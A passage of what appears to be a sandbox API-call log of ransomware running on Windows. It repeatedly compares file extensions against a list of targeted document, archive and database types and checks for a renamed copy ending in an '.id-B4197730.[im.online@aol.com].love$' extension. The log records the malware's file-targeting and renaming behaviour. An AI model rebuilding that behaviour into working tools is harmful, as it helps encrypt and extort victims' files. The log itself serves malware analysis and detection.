Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0229.373] lstrlenW (lpString=".dbf") returned 4 [0229.373] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0229.373] lstrlenW (lpString=".1cd") returned 4 [0229.373] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0229.373] lstrlenW (lpString=".jpg") returned 4 [0229.373] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.373] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0229.374] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0229.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0229.374] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=10752) returned 1 [0229.374] CloseHandle (hObject=0x388) returned 1 [0229.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0229.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0229.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0229.375] lstrlenW (lpString=".doc") returned 4 [0229.375] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.375] lstrlenW (lpString=".docx") returned 5 [0229.375] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.375] lstrlenW (lpString=".pdf") returned 4 [0229.375] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.375] lstrlenW (lpString=".xls") returned 4 [0229.375] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.375] lstrlenW (lpString=".xlsx") returned 5 [0229.375] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.375] lstrlenW (lpString=".ppt") returned 4 [0229.375] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0229.375] lstrlenW (lpString=".zip") returned 4 [0229.375] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.375] lstrlenW (lpString=".rar") returned 4 [0229.375] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.375] lstrlenW (lpString=".bz2") returned 4 [0229.375] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.375] lstrlenW (lpString=".7z") returned 3 [0229.375] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0229.375] lstrlenW (lpString=".dbf") returned 4 [0229.376] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0229.376] lstrlenW (lpString=".1cd") returned 4 [0229.376] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0229.376] lstrlenW (lpString=".jpg") returned 4 [0229.376] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0229.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0229.376] lstrlenW (lpString=".doc") returned 4 [0229.376] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.376] lstrlenW (lpString=".docx") returned 5 [0229.376] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.376] lstrlenW (lpString=".pdf") returned 4 [0229.376] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.376] lstrlenW (lpString=".xls") returned 4 [0229.376] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.376] lstrlenW (lpString=".xlsx") returned 5 [0229.376] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.376] lstrlenW (lpString=".ppt") returned 4 [0229.376] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0229.376] lstrlenW (lpString=".zip") returned 4 [0229.376] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.376] lstrlenW (lpString=".rar") returned 4 [0229.376] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.376] lstrlenW (lpString=".bz2") returned 4 [0229.376] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.376] lstrlenW (lpString=".7z") returned 3 [0229.377] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0229.377] lstrlenW (lpString=".dbf") returned 4 [0229.377] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0229.377] lstrlenW (lpString=".1cd") returned 4 [0229.377] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0229.377] lstrlenW (lpString=".jpg") returned 4 [0229.377] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.377] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0229.377] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0229.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0229.378] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=10752) returned 1 [0229.378] CloseHandle (hObject=0x388) returned 1 [0229.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0229.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0229.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0229.378] lstrlenW (lpString=".doc") returned 4 [0229.378] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.378] lstrlenW (lpString=".docx") returned 5 [0229.378] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.378] lstrlenW (lpString=".pdf") returned 4 [0229.378] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.378] lstrlenW (lpString=".xls") returned 4 [0229.378] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.379] lstrlenW (lpString=".xlsx") returned 5 [0229.379] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.379] lstrlenW (lpString=".ppt") returned 4 [0229.379] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0229.379] lstrlenW (lpString=".zip") returned 4 [0229.379] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.379] lstrlenW (lpString=".rar") returned 4 [0229.379] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.379] lstrlenW (lpString=".bz2") returned 4 [0229.379] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.379] lstrlenW (lpString=".7z") returned 3 [0229.379] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0229.379] lstrlenW (lpString=".dbf") returned 4 [0229.379] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0229.379] lstrlenW (lpString=".1cd") returned 4 [0229.379] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0229.379] lstrlenW (lpString=".jpg") returned 4 [0229.379] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0229.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0229.379] lstrlenW (lpString=".doc") returned 4 [0229.379] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.379] lstrlenW (lpString=".docx") returned 5 [0229.380] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.380] lstrlenW (lpString=".pdf") returned 4 [0229.380] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.380] lstrlenW (lpString=".xls") returned 4 [0229.380] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.380] lstrlenW (lpString=".xlsx") returned 5 [0229.380] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.380] lstrlenW (lpString=".ppt") returned 4 [0229.380] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0229.380] lstrlenW (lpString=".zip") returned 4 [0229.380] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.380] lstrlenW (lpString=".rar") returned 4 [0229.380] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.380] lstrlenW (lpString=".bz2") returned 4 [0229.380] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.380] lstrlenW (lpString=".7z") returned 3 [0229.380] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0229.380] lstrlenW (lpString=".dbf") returned 4 [0229.380] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0229.380] lstrlenW (lpString=".1cd") returned 4 [0229.380] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0229.380] lstrlenW (lpString=".jpg") returned 4 [0229.380] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.381] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0229.381] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0229.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0229.381] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=10752) returned 1 [0229.381] CloseHandle (hObject=0x388) returned 1 [0229.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0229.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0229.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0229.382] lstrlenW (lpString=".doc") returned 4 [0229.382] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.382] lstrlenW (lpString=".docx") returned 5 [0229.382] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.382] lstrlenW (lpString=".pdf") returned 4 [0229.382] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.382] lstrlenW (lpString=".xls") returned 4 [0229.382] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.382] lstrlenW (lpString=".xlsx") returned 5 [0229.382] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.382] lstrlenW (lpString=".ppt") returned 4 [0229.382] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0229.382] lstrlenW (lpString=".zip") returned 4 [0229.382] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.382] lstrlenW (lpString=".rar") returned 4 [0229.382] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.382] lstrlenW (lpString=".bz2") returned 4 [0229.382] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.382] lstrlenW (lpString=".7z") returned 3 [0229.382] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0229.383] lstrlenW (lpString=".dbf") returned 4 [0229.383] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0229.383] lstrlenW (lpString=".1cd") returned 4 [0229.383] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0229.383] lstrlenW (lpString=".jpg") returned 4 [0229.383] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0229.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0229.383] lstrlenW (lpString=".doc") returned 4 [0229.383] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.383] lstrlenW (lpString=".docx") returned 5 [0229.384] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.384] lstrlenW (lpString=".pdf") returned 4 [0229.384] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.384] lstrlenW (lpString=".xls") returned 4 [0229.384] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.384] lstrlenW (lpString=".xlsx") returned 5 [0229.384] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.384] lstrlenW (lpString=".ppt") returned 4 [0229.384] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0229.384] lstrlenW (lpString=".zip") returned 4 [0229.384] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.384] lstrlenW (lpString=".rar") returned 4 [0229.384] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.384] lstrlenW (lpString=".bz2") returned 4 [0229.384] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.384] lstrlenW (lpString=".7z") returned 3 [0229.384] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0229.384] lstrlenW (lpString=".dbf") returned 4 [0229.384] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0229.384] lstrlenW (lpString=".1cd") returned 4 [0229.384] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0229.384] lstrlenW (lpString=".jpg") returned 4 [0229.384] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.385] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0229.385] lstrlenW (lpString="rtscom.dll") returned 10 [0229.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0229.393] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=177664) returned 1 [0229.393] CloseHandle (hObject=0x454) returned 1 [0229.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0229.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0229.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0229.394] lstrlenW (lpString=".doc") returned 4 [0229.394] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.394] lstrlenW (lpString=".docx") returned 5 [0229.394] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0229.394] lstrlenW (lpString=".pdf") returned 4 [0229.394] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.394] lstrlenW (lpString=".xls") returned 4 [0229.394] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.394] lstrlenW (lpString=".xlsx") returned 5 [0229.394] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0229.394] lstrlenW (lpString=".ppt") returned 4 [0229.394] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0229.394] lstrlenW (lpString=".zip") returned 4 [0229.394] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.395] lstrlenW (lpString=".rar") returned 4 [0229.395] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.395] lstrlenW (lpString=".bz2") returned 4 [0229.395] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.395] lstrlenW (lpString=".7z") returned 3 [0229.395] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0229.395] lstrlenW (lpString=".dbf") returned 4 [0229.395] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0229.395] lstrlenW (lpString=".1cd") returned 4 [0229.395] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0229.395] lstrlenW (lpString=".jpg") returned 4 [0229.395] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0229.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0229.395] lstrlenW (lpString=".doc") returned 4 [0229.395] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.395] lstrlenW (lpString=".docx") returned 5 [0229.395] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0229.395] lstrlenW (lpString=".pdf") returned 4 [0229.395] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.395] lstrlenW (lpString=".xls") returned 4 [0229.395] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.395] lstrlenW (lpString=".xlsx") returned 5 [0229.395] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0229.395] lstrlenW (lpString=".ppt") returned 4 [0229.396] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0229.396] lstrlenW (lpString=".zip") returned 4 [0229.396] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.396] lstrlenW (lpString=".rar") returned 4 [0229.396] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.396] lstrlenW (lpString=".bz2") returned 4 [0229.396] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.396] lstrlenW (lpString=".7z") returned 3 [0229.396] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0229.396] lstrlenW (lpString=".dbf") returned 4 [0229.396] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0229.396] lstrlenW (lpString=".1cd") returned 4 [0229.396] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0229.396] lstrlenW (lpString=".jpg") returned 4 [0229.396] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.396] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0229.396] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0229.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0229.397] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=10240) returned 1 [0229.397] CloseHandle (hObject=0x454) returned 1 [0229.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0229.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0229.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0229.397] lstrlenW (lpString=".doc") returned 4 [0229.398] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.398] lstrlenW (lpString=".docx") returned 5 [0229.398] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.398] lstrlenW (lpString=".pdf") returned 4 [0229.398] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.398] lstrlenW (lpString=".xls") returned 4 [0229.398] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.398] lstrlenW (lpString=".xlsx") returned 5 [0229.398] 